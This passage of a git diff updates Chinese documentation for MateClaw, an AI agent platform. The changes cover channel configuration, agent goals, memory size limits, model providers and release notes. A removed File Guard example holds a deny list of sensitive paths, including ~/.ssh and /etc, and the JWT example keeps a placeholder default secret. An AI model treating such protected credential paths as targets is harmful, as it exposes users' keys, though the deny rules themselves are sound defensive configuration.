+384,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "wecom", "agentId": 1, "config": { - "corpId": "your-corp-id", - "wecomAgentId": "1000002", - "secret": "your-secret", - "token": "your-token", - "encodingAesKey": "your-encoding-aes-key" + "bot_id": "your-bot-id", + "secret": "your-secret" }, "enabled": true }' @@ -396,8 +393,6 @@ curl -X POST http://localhost:18088/api/v1/channels \ ![开始聊天](/images/channels/wecom/07-chat.png) -Webhook URL:`https://your-domain/api/v1/channels/webhook/wecom` - ::: tip 想把企业微信跑稳? 群聊多用户协作、引用消息、appmsg 解析、上传约束、aibot_respond_msg 路由、自循环检测、TLS 重试、平台级权限锁……所有非显然的优化点和踩坑,都在 [企业微信深度优化](./wecom-tuning) 单独整理了。 ::: @@ -529,8 +524,8 @@ curl -X POST http://localhost:18088/api/v1/channels \ "type": "qq", "agentId": 1, "config": { - "appId": "your-app-id", - "appSecret": "your-app-secret" + "app_id": "your-app-id", + "client_secret": "your-app-secret" }, "enabled": true }' @@ -563,8 +558,7 @@ curl -X POST http://localhost:18088/api/v1/channels \ "agentId": 1, "config": { "bot_token": "xoxb-...", - "app_token": "xapp-...", - "mode": "socket" + "app_token": "xapp-..." }, "enabled": true }' @@ -603,7 +597,7 @@ curl -X POST http://localhost:18088/api/v1/channels \ "name": "微信", "type": "weixin", "agentId": 1, - "config": {"botToken": "your-bot-token"}, + "config": {"bot_token": "your-bot-token"}, "enabled": true }' ``` diff --git a/mateclaw-server/src/main/resources/docs/zh/chat.md b/mateclaw-server/src/main/resources/docs/zh/chat.md index f5ec2a05..19950b0b 100644 --- a/mateclaw-server/src/main/resources/docs/zh/chat.md +++ b/mateclaw-server/src/main/resources/docs/zh/chat.md @@ -21,6 +21,8 @@ Segment 是**渐进到达**的。每个 segment 一落盘就立刻持久化到 这件事以前不成立。现在成立了。 +回答正文里的引用也是活的:`[[slug]]` 形式的 wikilink、以及基于知识库作答时正文里的 `[1]` / `[2]` **来源引用标记**都可以**点击直接跳到对应的 wiki 页面**,末尾"来源:"清单的每一行也整行可点。详见 [LLM Wiki · Chat 里点引用直接跳](./wiki#chat-里点-wikilink-直接跳)。 + --- ## 持久化的任务清单:给需要时间的计划用 diff --git a/mateclaw-server/src/main/resources/docs/zh/config.md b/mateclaw-server/src/main/resources/docs/zh/config.md index 3c32d142..e7a43d18 100644 --- a/mateclaw-server/src/main/resources/docs/zh/config.md +++ b/mateclaw-server/src/main/resources/docs/zh/config.md @@ -125,65 +125,56 @@ mate: ```yaml mate: wiki: - chunk-size: 1200 - chunk-overlap: 200 - digestion-concurrency: 2 - llm-model-config-id: 1 - min-concept-occurrences: 2 - max-page-backlinks: 50 - lock-on-manual-edit: true - rebuild-sources-on-update: true + enabled: true + max-chunk-size: 30000 + max-context-chars: 10000 + max-pages-per-raw: 15 + max-parallel-raw-materials: 3 + max-parallel-phase-b-pages: 3 + auto-process-on-upload: true + upload-dir: ./data/wiki-uploads ``` -八个旋钮。细节在 [LLM Wiki](./wiki)。 +细节在 [LLM Wiki](./wiki)。 ### Tool Guard(基于规则) -```yaml -mateclaw: - tool: - guard: - enabled: true - default-policy: require_approval # `allow` / `deny` / `require_approval` - approval-timeout-seconds: 600 - rules: - - tool: ShellExecuteTool - arg-pattern: "^(ls|cat|grep|find)\\s" - action: allow - priority: 100 - - tool: ShellExecuteTool - action: require_approval - priority: 50 -``` +Tool Guard 的全局开关、默认策略和规则**不在 application.yml 里配置**——它们存在数据库(`mate_tool_guard_config` / `mate_tool_guard_rule`),通过管理台的「安全」页或 REST 编辑: -细节在 [安全与审批](./security)。 +| 方法 | 路径 | 作用 | +|---|---|---| +| `GET` / `PUT` | `/api/v1/security/guard/config` | 全局开关 + 默认策略(`allow` / `deny` / `require_approval`) | +| `GET` | `/api/v1/security/guard/rules/builtin` | 内置规则 | +| `GET` / `POST` | `/api/v1/security/guard/rules` | 列出 / 新增自定义规则 | +| `PUT` | `/api/v1/security/guard/rules/{ruleId}` | 修改规则 | +| `PUT` | `/api/v1/security/guard/rules/{ruleId}/toggle` | 启停单条规则 | + +每条规则按工具名 + 参数模式匹配,命中后给出 `allow` / `deny` / `require_approval` 动作,按优先级排序。细节在 [安全与审批](./security)。 ### File Guard +File Guard 分两层: + +1. **允许 / 禁止路径规则**——和 Tool Guard 一样存数据库、走管理台「安全」页,REST 为 `GET` / `PUT /api/v1/security/guard/config/file-guard`,**不在 application.yml 里**。 +2. **全局兜底沙箱根**——唯一写在 application.yml 里的部分。当某个会话没有配置 per-workspace base path 时,文件 / Shell 工具被限制在这个根目录内(fail-closed 默认): + ```yaml mateclaw: - security: - file-guard: - enabled: true - allowed-paths: - - "${user.dir}/workspace" - - "${java.io.tmpdir}/mateclaw" - denied-paths: - - "/etc" - - "/usr" - - "${user.home}/.ssh" - - "${user.home}/.config" + workspace: + sandbox: + enabled: true # 设 false 恢复旧的不受限行为 + root: ${user.dir}/data/workspace # 兜底沙箱根,启动时自动创建 ``` +环境变量覆盖:`MATECLAW_WORKSPACE_SANDBOX_ENABLED` / `MATECLAW_WORKSPACE_SANDBOX_ROOT`。 + ### JWT 认证 ```yaml mateclaw: - auth: - jwt: - secret: ${JWT_SECRET:your-secret-key-at-least-32-characters-long} - expiration: 86400000 - sliding-window: true + jwt: + secret: ${JWT_SECRET:your-secret-key-at-least-32-characters-long} + expiration: 86400000 ``` ::: warning diff --git a/mateclaw-server/src/main/resources/docs/zh/desktop-ui-hot-update.md b/mateclaw-server/src/main/resources/docs/zh/desktop-ui-hot-update.md index f7d2d7a4..63ddefd5 100644 --- a/mateclaw-server/src/main/resources/docs/zh/desktop-ui-hot-update.md +++ b/mateclaw-server/src/main/resources/docs/zh/desktop-ui-hot-update.md @@ -7,7 +7,7 @@ 1. Electron 启动并显示本地 Splash。 2. Electron 用内置 JRE 启动 `mateclaw-server.jar`。 3. `mateclaw-ui` 已提前构建到 `mateclaw-server/src/main/resources/static`。 -4. `BrowserWindow` 最终加载 `http://localhost:18088`。 +4. `BrowserWindow` 最终加载 `http://localhost:{动态端口}`(由主进程在启动时随机选取)。 这意味着: @@ -45,7 +45,7 @@ `mateclaw-desktop` 主窗口业务页当前加载: -- `http://localhost:18088` +- `http://localhost:{动态端口}`(端口由 Electron 主进程在启动时随机分配) 所以 UI 热更新不能只改 Electron `dist`,必须让后端在运行时能切换静态资源来源。 @@ -106,7 +106,7 @@ Electron Shell ├── UI Update Manager(新增) ├── Bundled JRE ├── mateclaw-server.jar -└── BrowserWindow → http://localhost:18088 +└── BrowserWindow → http://localhost:{动态端口} ├── 优先读取 userData/ui-bundles/current/ └── fallback 到 classpath:/static/ ``` @@ -202,7 +202,7 @@ Manifest 最好放在稳定的静态地址,不要依赖 GitHub API 动态查 - 对 `/assets/**`、`/icons/**`、`/logo/**`、`/favicon.ico`、`/index.html` 和 SPA 路由统一转发 - 当外部目录不存在时自动回退内置资源 -这样 BrowserWindow 仍然访问 `http://localhost:18088`,但内容已经可由外置 UI 包覆盖。 +这样 BrowserWindow 仍然访问 `http://localhost:{动态端口}`,但内容已经可由外置 UI 包覆盖。 ### 4. Electron 侧 UI Update Manager diff --git a/mateclaw-server/src/main/resources/docs/zh/desktop.md b/mateclaw-server/src/main/resources/docs/zh/desktop.md index 8ba6b142..da918b4b 100644 --- a/mateclaw-server/src/main/resources/docs/zh/desktop.md +++ b/mateclaw-server/src/main/resources/docs/zh/desktop.md @@ -211,7 +211,7 @@ Electron 主进程通过 Node.js `child_process` 管理 Spring Boot 后端: |----|------| | macOS | `~/Library/Application Support/MateClaw/data/` | | Windows | `%APPDATA%/MateClaw/data/` | -| Linux | `~/.local/share/MateClaw/data/` | +| Linux | `~/.config/MateClaw/data/` | 日志、工作空间文件、技能脚本、Wiki 内容都在同一个用户目录下。做重大变更前**备份**。 @@ -257,9 +257,9 @@ Electron 主进程通过 Node.js `child_process` 管理 Spring Boot 后端: 1. 安装版自带 JRE——不需要装 Java。开发版:确认 `java -version` 显示 21+。 2. 看日志: - - macOS:`~/Library/Logs/MateClaw/` + - macOS:`~/Library/Application Support/MateClaw/logs/` - Windows:`%APPDATA%/MateClaw/logs/` - - Linux:`~/.local/share/MateClaw/logs/` + - Linux:`~/.config/MateClaw/logs/` 3. 从终端启动看控制台输出 4. 确认后端选的端口没被防火墙挡 diff --git a/mateclaw-server/src/main/resources/docs/zh/faq.md b/mateclaw-server/src/main/resources/docs/zh/faq.md index d2edbce3..9910bbfe 100644 --- a/mateclaw-server/src/main/resources/docs/zh/faq.md +++ b/mateclaw-server/src/main/resources/docs/zh/faq.md @@ -226,7 +226,7 @@ UI 里用 `工具 → MCP 服务`。三种传输模式:stdio、streamable_http ### Pending 审批能放多久? -默认 10 分钟,之后过期变成 `rejected`。用 `mateclaw.tool.guard.approval-timeout-seconds` 配置。 +默认 30 分钟,过期后状态变成 `timeout`(Agent 当成拒绝处理)。超时时长在管理台「安全」页的 Tool Guard 配置里调,不在 application.yml。 --- diff --git a/mateclaw-server/src/main/resources/docs/zh/goals.md b/mateclaw-server/src/main/resources/docs/zh/goals.md index 52de7e2a..858342f8 100644 --- a/mateclaw-server/src/main/resources/docs/zh/goals.md +++ b/mateclaw-server/src/main/resources/docs/zh/goals.md @@ -119,6 +119,39 @@ POST /api/v1/goals --- +## 撞墙了怎么自己爬起来 + +::: tip 新增 +长任务最怕的不是难,是**卡住**——撞到迭代上限就停、某一步失败就崩、在一个工具上空转到预算耗尽。这一组机制让员工在这些地方能自己续上、绕开、爬起来,而不是停在那等你再发消息。 +::: + +### 撞到迭代上限的硬延续 + +以前一轮 ReAct 跑满 `max_iterations`(结束原因 `MAX_ITERATIONS_REACHED`),目标子系统会**跳过**这一轮——不评估、不延续,任务就停在那。现在它走一条**硬延续**路径:把迭代计数清零、清掉"超限草稿",给员工**一段全新的满额迭代预算**接着干。 + +这和上面的"自动延续"不一样:自动延续是 evaluator 判"还没完成"后追加一句引导;硬延续是专门应对**撞上限**,重置的是迭代预算本身。每轮硬延续会吃掉一整段迭代配额,所以有上限——默认每轮最多 **1 次**(编译期硬顶 3 次),`0` = 关闭(回到旧行为:撞上限直接结束这轮)。 + +### 停滞检测与重新规划 + +Plan-Execute 模式下,单个步骤可能**抛异常**,也可能陷入**停滞**——在内部工具循环里反复用同样的调用失败、或拿到同样的无新信息的结果,一路烧到工具预算上限才以空结果"完成",然后污染依赖它的后续步骤。 + +运行时对每轮工具响应做签名检测,两级响应: + +- **WARN**:同一调用重复失败几次后,注入一条系统提示让模型换个思路(同一个调用只提示一次) +- **HALT**:再撑下去就标记这一步 stuck,结束内循环 + +一旦某步 HALT 或抛异常,运行时触发**重新规划**:清空当前计划,把"已完成步骤摘要 + 失败原因 + 绕开坏步骤"作为上下文带回规划节点,重新生成计划。每次运行最多重规划 **1 次**,UI 会收到 `plan_replan` 事件(附失败步骤序号、原因)。 + +### 元工具回合不计迭代(迭代退款) + +渐进式披露里的 `load_skill` / `enable_tool` 是**配置动作**,不是真正干活。如果某一轮 ReAct 里工具调用全是这类元工具,这一轮的迭代计数**不递增**(退款),免得"只顾加载技能"的模型白白耗光迭代预算。每次运行最多退款 3 次。 + +### 多步计划自动派生目标 + +一个**多步**(≥2 步)的 Plan-Execute 计划,如果当前对话还没有活跃目标,规划节点会**自动建一个目标**,以计划的步骤作为验收准则,并广播 `goal_created` 事件刷新 UI 的目标面板。这样长计划天然就被目标系统的"跟到完成"语义托住。由 `mateclaw.goal.auto-goal-from-plan` 控制(默认开)。 + +--- + ## 目标是一份清单(checklist,1.5.0+) 1.4.0 里 evaluator 每轮给一个完成度分数(0~1)和一句"还差什么"。问题是 **0.8 到底是什么意思**——哪几条做完了、哪几条没做,你看不清。 @@ -275,6 +308,10 @@ mateclaw: auto-followup-cooldown-seconds: 0 # 单次 graph 运行内自动延续的硬上限(每条消息的安全网;总预算仍由 turnBudget 管) max-followups-per-run: 8 + # 撞到迭代上限时每轮最多硬延续几次(0 = 关闭;编译期硬顶 3) + max-hard-continuations-per-run: 1 + # 多步 Plan-Execute 计划在无活跃目标时自动派生一个目标 + auto-goal-from-plan: true # 评估器使用的模型;空字符串 = 沿用对话当前模型(便宜的小模型推荐:qwen-turbo / glm-4-flash) evaluator-model: "" # 评估 prompt 携带的历史消息条数上限 @@ -292,7 +329,7 @@ mateclaw: | `mate_agent_goal` | 目标本体;含 status / budget / 双 LLM 计数器 / 自动延续配置 | | `mate_agent_goal_event` | 目标的事件追加日志,drawer 时间线读它 | -迁移由 Flyway 跑 `V120__agent_goal.sql`(H2 + MySQL 双方言)。 +迁移由 Flyway 跑 `V120__agent_goal.sql`(H2 / MySQL / KingbaseES 三方言)。 --- diff --git a/mateclaw-server/src/main/resources/docs/zh/mcp.md b/mateclaw-server/src/main/resources/docs/zh/mcp.md index 72a38b02..c87fed32 100644 --- a/mateclaw-server/src/main/resources/docs/zh/mcp.md +++ b/mateclaw-server/src/main/resources/docs/zh/mcp.md @@ -275,10 +275,10 @@ v1.2.0 之前所有员工默认能用全部 MCP 工具——这是个全局开 ### 三个解决的问题 **问题 1:工具命名空间冲突** -两个 MCP server 都暴露 `read_file`——agent 调用时哪个赢?v1.3.0 在内部使用**带 server 前缀的稳定 callback name**(`{serverName}__{toolName}`),并把它持久化到 `mate_mcp_server.cached_tools`。两个 read_file 在 picker 里显示为 `serverA__read_file` 和 `serverB__read_file`,agent 看到的 prompt 里映射回原始名以减少 token + 不让 LLM 困惑。 +两个 MCP server 都暴露 `read_file`——agent 调用时哪个赢?v1.3.0 在内部使用**带 server 前缀的稳定 callback name**(`{serverName}__{toolName}`),并把它持久化到 `mate_mcp_server.tools_cache_json`。两个 read_file 在 picker 里显示为 `serverA__read_file` 和 `serverB__read_file`,agent 看到的 prompt 里映射回原始名以减少 token + 不让 LLM 困惑。 **问题 2:MCP server 改名 / 工具改名 → 员工绑定全部失效** -v1.2.0 时 server 一改名,绑这个 server 的员工全瞎了。v1.3.0 引入**持久化 tool cache**:每次成功 list-tools 后把工具元数据写到 `mate_mcp_server.cached_tools` JSON 列。agent binding 校验时如果 server 暂时连不上,就走 cache fallback——绑定保留为 `stale`,连接恢复后立即可用。 +v1.2.0 时 server 一改名,绑这个 server 的员工全瞎了。v1.3.0 引入**持久化 tool cache**:每次成功 list-tools 后把工具元数据写到 `mate_mcp_server.tools_cache_json` JSON 列。agent binding 校验时如果 server 暂时连不上,就走 cache fallback——绑定保留为 `stale`,连接恢复后立即可用。 **问题 3:员工保存时静默接受不存在的工具引用** v1.2.0 时员工配置里写了一个 `nonexistent-server.weird-tool`,保存成功,运行时报错。v1.3.0 在保存时跑 `AgentBindingService.validate(...)`: @@ -296,7 +296,7 @@ v1.2.0 时员工配置里写了一个 `nonexistent-server.weird-tool`,保存 ### 数据契约 -- `mate_mcp_server.cached_tools`(v1.3.0 新列):JSON 数组,每个元素 `{name, description, inputSchema, lastSeenAt}` +- `mate_mcp_server.tools_cache_json`(v1.3.0 新列):JSON 数组,每个元素 `{name, description, inputSchema, lastSeenAt}` - `mate_agent_tool.tool_name`:存的是**带前缀的 callback name** `{serverName}__{toolName}` 而不是原始名,这样 server 改名时 join 失败立刻可观测 - `AgentBindingService.getEffectiveToolNames(agentId)` 是工具下发的唯一入口——agent 每个回合都跑一遍,确保运行时和编辑期看到的工具集一致 diff --git a/mateclaw-server/src/main/resources/docs/zh/memory.md b/mateclaw-server/src/main/resources/docs/zh/memory.md index 77ca4000..4c973c78 100644 --- a/mateclaw-server/src/main/resources/docs/zh/memory.md +++ b/mateclaw-server/src/main/resources/docs/zh/memory.md @@ -4,7 +4,7 @@ description: MateClaw 的四层记忆生命周期:即时上下文、对话后 head: - - meta - name: keywords - content: AI记忆,记忆系��,Dreaming,PROFILE.md,MEMORY.md,记忆生命周期,长期记忆,记忆提取,记忆整合 + content: AI记忆,记忆系统,Dreaming,PROFILE.md,MEMORY.md,记忆生命周期,长期记忆,记忆提取,记忆整合 --- # AI 记忆系统 @@ -16,7 +16,7 @@ MateClaw 里其他所有东西,在你配置完之后就静止了。Agent、工 ::: tip 它在你睡着的时候做了一个关于你的梦 不是营销词。是 `memory/dreaming/` 包里真实跑的代码。 -每天凌晨 2 点(默认时间,可改),系统跑一次调度任务,名字就叫 **Dreaming**:扫一遍今天和你聊天的每个 Agent 的对话痕迹,把零散的线索整合成对你的理解,过滤掉一次性的、矛盾的、过期的,把高频出现的提升进 `MEMORY.md`,整个"看见了什么、得出了什么、改写了什么"的过程追加进 `DREAMS.md`——一条人类可读的审计线。 +每天凌晨 3 点(默认时间,可改),系统跑一次调度任务,名字就叫 **Dreaming**:扫一遍今天和你聊天的每个 Agent 的对话痕迹,把零散的线索整合成对你的理解,过滤掉一次性的、矛盾的、过期的,把高频出现的提升进 `MEMORY.md`,整个"看见了什么、得出了什么、改写了什么"的过程追加进 `DREAMS.md`——一条人类可读的审计线。 第二天早上你打开它,它**从昨天结束的地方继续**,不是从零开始。 @@ -44,7 +44,7 @@ MateClaw 里其他所有东西,在你配置完之后就静止了。Agent、工 │ 更新时机:每次有意义的对话结束后异步跑 │ └────────────────────────────────────────────────────────────┘ │ - ▼(默认每天凌晨 2 点,可调) + ▼(默认每天凌晨 3 点,可调) ┌────────────────────────────────────────────────────────────┐ │ 3. 夜里整合(Dreaming) │ │ 扫一遍最近的日常笔记,找出反复出现的模式, │ @@ -196,7 +196,7 @@ v1.3.0 起,[工作流](./workflow) 的 `write_memory` step 可以在流程跑 三层防御: -**第一层:主动压缩。** 估算总 token 超过预算的 75%(默认窗口 12.8 万 token),系统让 LLM 总结早期轮次。最近 2 轮(4 条消息)保留原文。结果缓存 30 分钟。 +**第一层:主动压缩。** 估算总 token 超过预算的 75%(默认窗口 12.8 万 token),系统让 LLM 总结早期轮次。尾部基于 token 预算动态保留最近若干条(下限由 `preserve-recent-pairs` 和 `protect-last-min-messages` 两个参数取最大值决定,默认至少保留 10 条)。结果缓存 30 分钟。 **第二层:紧急恢复。** 如果 LLM 仍然返回上下文超限,系统不再调 LLM,直接丢掉更早的消息、保留最后 2 轮、重试一次。 @@ -280,7 +280,7 @@ mate: ### 触发方式 -- **自动**——每个 Agent 在系统定时任务里有一行,每天凌晨 2 点跑一次 +- **自动**——每个 Agent 在系统定时任务里有一行,每天凌晨 3 点跑一次 - **手动**——`POST /api/v1/memory/{agentId}/emergence` ### 为什么不会递归 @@ -326,18 +326,70 @@ mate: - **月度归档** —— 老报告滚进压缩的月度归档,时间线里能查 - **记忆浏览器** —— 时间线、事实、矛盾、变更对比、信任度面板 -`application.yml` 启用: +`application.yml` 启用(这些开关都在 `mate.memory` 下,分三个 Phase): ```yaml -mateclaw: +mate: memory: - dream-v2: - enabled: true - fact-projection: true - contradictions: true - morning-card: true + # Phase 1:逐轮生命周期总线 + lifecycle-mediator-enabled: true + dream: + focused-enabled: true # 聚焦 dream 端点 + archive-enabled: true # 月度归档轮转 + archive-keep-days: 30 + max-candidates-per-dream: 100 + # Phase 2:SOUL 自动演化 + soul-update-interval: 20 # 每 20 次写入触发一次 SOUL.md 重写(0 = 关) + # Phase 3:事实投影 + fact: + projection-enabled: true + projection-rebuild-cron: "0 */30 * * * ?" + contradiction-check-enabled: false # 矛盾检测(实验,默认关) + trust-half-life-days: 60 + forget-enabled: true # UI 上的「遗忘」按钮 ``` +> 晨报卡片是一个端点(`GET /api/v1/memory/{agentId}/dream/morning-card`),不是单独的开关——只要事实投影 + dream 这套生命周期开着就有数据。 + +--- + +## always-on 记忆的尺寸控制 + +::: tip 新增 +每一回合都注入 system prompt 的那些记忆(`user` / `feedback` 结构化条目、`PROFILE.md`、`MEMORY.md`)有个隐患——**只增不减**。条目越攒越多,每轮 token 一路膨胀。这一组机制给"常驻记忆"装上确定性的体积上限。 +::: + +三个层次各管一段: + +### 注入预算(注入时截断,不动磁盘) + +把 `user` / `feedback` 两类结构化条目注入 system prompt 时,按条目的 `Updated:` 日期排序(LRU),只保留最新的若干条,超出部分**在注入时丢弃**——磁盘文件不动,并在块尾披露省略了多少条。 + +- `mate.memory.system-block-max-chars`(默认 `4000`):常驻结构化块的总字符上限,超了就按时间从最老的开始丢;`0` = 不限 +- `mate.memory.system-block-max-entries-per-type`(默认 `40`):每类(user / feedback)最多注入多少条;`0` = 不限 + +### 夜间巩固(在存储层缩文件) + +注入预算只在注入时截断,磁盘文件本身还在长。**巩固**是在存储层做合并:每晚定时(默认 03:30,独立于 Dreaming 的开关和时间表)遍历每个员工的共享桶 + 各 per-owner 桶,条目数超过阈值时调 LLM 把近重复 / 过时的条目合并写回。 + +有一条**安全不变量**:巩固后的条目数**只能减不能增**——模型若幻觉出更多条目,这次写入直接跳过。 + +- `mate.memory.structured-consolidation-enabled`(默认 `true`):关掉就只剩注入截断、没有存储侧合并 +- `mate.memory.structured-consolidation-min-entries`(默认 `8`):桶里条目少于此值跳过 LLM 调用省钱 +- `mate.memory.structured-consolidation-cron`(默认 `"0 30 3 * * ?"`):独立调度,不碰 dreaming +- `mate.memory.structured-consolidation-max-owners-per-run`(默认 `50`):每个员工每次最多处理多少个 owner 桶,剩下的下次再来;`0` = 不限 + +手动触发:`POST /api/v1/memory/{agentId}/structured-consolidation`,返回 `ownersConsolidated` / `updated` / `entriesBefore` / `entriesAfter` 等统计。 + +> 别和 [Dreaming](#整合与-dreaming) 搞混:Dreaming 把日常笔记整合进 `MEMORY.md`(写"重要的东西");巩固只负责把 `user` / `feedback` 结构化条目去重瘦身。两件事,两个调度。 + +### 文件上限(重写时的确定性兜底) + +`PROFILE.md` 和 `MEMORY.md` 由 LLM 全量重写。prompt 里要求它简洁,但没有硬约束,仍可能越写越大。文件上限是写回时的**确定性兜底**:内容超预算就在最后一个能放下的 `##` 二级标题边界截断(保留文件头部的核心段),并追加一行截断标记。 + +- `mate.memory.profile-max-chars`(默认 `4000`):PROFILE.md 硬上限;`0` = 不限 +- `mate.memory.memory-md-max-chars`(默认 `8000`):MEMORY.md 硬上限;`0` = 不限 + --- ## Agent 自己读写自己的记忆 @@ -468,6 +520,19 @@ mate: # 随发行版打包的默认值是 true(开):对话抽取写入 owner 的 PERSONAL 记忆,召回按 owner_key 过滤。 # 设为 false 回到旧的共享行为(所有写入走 TEAM)。Java 属性裸默认值为 false。 lifecycle-mediator-enabled: true + + # --- always-on 记忆尺寸控制 --- + # 注入预算:常驻 user/feedback 结构化块(注入时 LRU 截断,0 = 不限) + system-block-max-chars: 4000 + system-block-max-entries-per-type: 40 + # 夜间巩固:在存储层合并去重 user/feedback 条目(独立于 dreaming) + structured-consolidation-enabled: true + structured-consolidation-min-entries: 8 + structured-consolidation-cron: "0 30 3 * * ?" + structured-consolidation-max-owners-per-run: 50 + # 文件上限:PROFILE.md / MEMORY.md 重写时的硬截断(节边界,0 = 不限) + profile-max-chars: 4000 + memory-md-max-chars: 8000 ``` 配置前缀:`mate.memory`。 @@ -493,6 +558,7 @@ mate: |------|------|------| | POST | `/api/v1/memory/{agentId}/emergence` | 手动触发整合 | | POST | `/api/v1/memory/{agentId}/summarize/{conversationId}` | 对某次对话手动触发提取 | +| POST | `/api/v1/memory/{agentId}/structured-consolidation` | 手动触发 user/feedback 结构化条目巩固 | | GET | `/api/v1/memory/{agentId}/dreaming/status` | 查询上次运行、下次计划、最新 DREAMS.md 条目 | --- diff --git a/mateclaw-server/src/main/resources/docs/zh/models.md b/mateclaw-server/src/main/resources/docs/zh/models.md index 2202c769..d28c68bc 100644 --- a/mateclaw-server/src/main/resources/docs/zh/models.md +++ b/mateclaw-server/src/main/resources/docs/zh/models.md @@ -23,8 +23,8 @@ MateClaw 不关心你用哪个 LLM。它通过五个协议适配器跟所有主 | **xAI / Grok** | Grok 3、Grok 4 | openai | OpenAI 兼容(base URL + API Key);UI 带 xAI 品牌图标 | | **DeepSeek** | deepseek-chat、deepseek-coder、**DeepSeek V4 flash + pro**(支持思考模式) | openai | OpenAI 兼容 | | **Kimi(Moonshot)** | moonshot-v1-8k/32k/128k | openai | OpenAI 兼容 | -| **智谱 AI** | GLM-5-Turbo、GLM-5V-Turbo、GLM-5、GLM-5.1 | openai | OpenAI 兼容 | -| **MiniMax** | abab6.5、abab5.5;扩展视频模型目录 + 国内端点 | openai | OpenAI 兼容 | +| **智谱 AI** | GLM-5-Turbo、GLM-5V-Turbo、GLM-5、GLM-5.1、**GLM-5.2** | openai | OpenAI 兼容;中国区 + 国际区各一个 standard 端点,外加两个 Coding Plan 订阅端点 | +| **MiniMax** | abab6.5、abab5.5;扩展视频模型目录 + 国内端点 | anthropic | Anthropic Messages API 兼容(端点 `/anthropic`) | | **SiliconFlow CN/INTL** | 托管路由推理 | openai | 双端点,OpenAI 兼容 | | **OpenCode** | 代码场景路由 | openai | OpenAI 兼容 | | **OpenRouter** | 200+ 模型含免费档 | openai | 一个 key 路由到任何上游 | @@ -46,8 +46,8 @@ MateClaw 不关心你用哪个 LLM。它通过五个协议适配器跟所有主 | 协议 | 谁在用 | |------|--------| -| **OpenAI** | OpenAI、Kimi、DeepSeek、MiniMax、智谱、OpenRouter、LM Studio、llama.cpp、MLX | -| **Anthropic** | Claude 家族 | +| **OpenAI** | OpenAI、Kimi、DeepSeek、智谱、OpenRouter、LM Studio、llama.cpp、MLX | +| **Anthropic** | Claude 家族、MiniMax | | **DashScope** | Qwen 家族 | | **Gemini** | Google Gemini 家族 | | **Ollama** | 通过 Ollama 跑的本地模型 | @@ -388,7 +388,7 @@ MateClaw 用一个**活跃模型**作为全局默认。没有指定自己模型 - **自动 fallback** —— 主 provider 返回 `AUTH_ERROR` / `BILLING` / `MODEL_NOT_FOUND` / `NETWORK` / `5xx` 时,运行时滚到下一个 provider,而不是把错误抛到 UI - **每个 agent 自定义优先级** —— 在 `设置 → 模型` 的拖拽编辑器里把某个 agent 锁成 "OpenAI 优先 → Anthropic → DashScope" - **池子状态实时可见** —— 每个 provider 用绿/琥珀/红徽章标健康状态 -- **4 协议探活** —— DashScope、OpenAI 兼容、Anthropic、Ollama 风格 +- **5 协议探活** —— DashScope、OpenAI 兼容、Anthropic、Gemini、Ollama 风格 - **手动重探 + 配置变更自动重探** —— 换 key 不用重启 - **出口 sanitizer** —— provider 专属选项(如 OpenAI 推理模型的 `reasoning_effort`)在 failover 到不支持的 provider 时被剥离,泄漏的选项不会让 fallback 报 400 - **UI 区分 401 与会话过期** —— provider 认证错误和用户会话过期现在显示不同消息、不同处置 diff --git a/mateclaw-server/src/main/resources/docs/zh/multimodal.md b/mateclaw-server/src/main/resources/docs/zh/multimodal.md index ea276064..f9de968e 100644 --- a/mateclaw-server/src/main/resources/docs/zh/multimodal.md +++ b/mateclaw-server/src/main/resources/docs/zh/multimodal.md @@ -100,7 +100,7 @@ Google 的图像生成走 **Nano Banana Pro**(`gemini-3-pro-image-preview`) - **DashScope CosyVoice**——中英文,韵律自然 - **OpenAI TTS**——alloy、echo、fable、onyx、nova、shimmer 六种音色 -- **MiniMax T2A**——中文音色,带情感标签 +- **Edge TTS**——免费,无需 API Key,音色丰富 任何 Assistant 消息上都有一个喇叭图标,点一下就朗读出来。用哪个声音取决于你在设置里激活的 TTS 供应商。 diff --git a/mateclaw-server/src/main/resources/docs/zh/quickstart.md b/mateclaw-server/src/main/resources/docs/zh/quickstart.md index d3373b7d..e07619cd 100644 --- a/mateclaw-server/src/main/resources/docs/zh/quickstart.md +++ b/mateclaw-server/src/main/resources/docs/zh/quickstart.md @@ -68,7 +68,7 @@ Docker 和源码启动在 [配置说明](./config) 和 [贡献指南](./contribu 第一次跑通本应该很顺。如果没跑通—— - **安装器打不开**——Windows 下右键 → 属性 → 解除锁定;macOS 下去"系统设置 → 隐私与安全性"允许未签名应用。 -- **后端起不来**——看 `~/.mateclaw/logs/app.log`(Windows:`%USERPROFILE%\.mateclaw\logs\`)。十有八九是 18088 端口被占了。 +- **后端起不来**——看日志文件(macOS:`~/Library/Application Support/MateClaw/logs/mateclaw.log`;Windows:`%APPDATA%\MateClaw\logs\mateclaw.log`)。桌面端后端使用动态端口,端口冲突会在日志里明确报出。 - **模型调用报错**——API Key 填错了,或者网络不通。回设置里检查,或者换一家试试。 - **界面白屏**——Ctrl/Cmd + Shift + R 强刷。Electron 的缓存比较顽固。 - **还是不行**——去 [GitHub Issues](https://github.com/matevip/mateclaw/issues) 开一个 Issue,把 `app.log` 的尾巴贴上。我们真的会看。 diff --git a/mateclaw-server/src/main/resources/docs/zh/releases.md b/mateclaw-server/src/main/resources/docs/zh/releases.md index 7ceaf4dc..ee304410 100644 --- a/mateclaw-server/src/main/resources/docs/zh/releases.md +++ b/mateclaw-server/src/main/resources/docs/zh/releases.md @@ -10,6 +10,7 @@ | 版本 | 日期 | 亮点 | |------|------|------| +| [v1.6.0](./releases/1.6.0) | 2026-06-22 | 跑在国产数据库上 —— KingbaseES(人大金仓)+ PostgreSQL(共用一套 PostgreSQL 家族迁移树 · 按需金仓驱动 · Docker 最小权限角色) · 新感官与双手(图片跨轮次留在上下文 + `image_analyze` · `execute_code` 运行员工编写的代码) · 你来塑造员工(AGENTS.md 编辑器 + About You 身份 + 运行时模型身份 + KB 范围绑定 + 花名册标签) · Wiki Sources 标签(素材与监听合并、按 KB 自动同步、多路径/glob、pageType 表单编辑器) · 全局出站 HTTP/SOCKS 代理 · 确定性 Markdown 回答 · Claude Fable 5 | | [v1.5.0](./releases/1.5.0) | 2026-06-04 | 目标长出清单——从"打个分"到"逐条勾"(checklist + Evaluator SPI + 确定性完成判定) · Wiki 学会自维护(`[[wikilink]]` 互联 + 改名/删页级联修链 + 坏链体检 · 事实/经验分层 + 失效传播 · pageType 档案与 per-agent 权限 · 处理流水线 · 本地目录知识源定时增量同步) · 记忆按主人隔离(owner_key + 个人/团队/全局可见性 + 第三方 endUserId 